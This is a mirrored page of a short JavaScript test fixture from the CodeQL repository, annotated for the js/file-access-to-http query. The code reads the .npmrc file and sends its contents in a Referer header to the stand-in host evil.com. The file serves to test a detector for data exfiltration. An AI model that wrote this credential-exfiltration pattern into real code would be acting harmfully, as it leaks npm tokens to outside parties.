mirror of
https://github.com/github/codeql.git
synced 2025-12-17 09:13:20 +01:00
11 lines
294 B
JavaScript
11 lines
294 B
JavaScript
var fs = require("fs"),
|
|
https = require("https");
|
|
|
|
var content = fs.readFileSync(".npmrc", "utf8"); // $ Source[js/file-access-to-http]
|
|
https.get({
|
|
hostname: "evil.com",
|
|
path: "/upload",
|
|
method: "GET",
|
|
headers: { Referer: content }
|
|
}, () => { }); // $ Alert[js/file-access-to-http]
|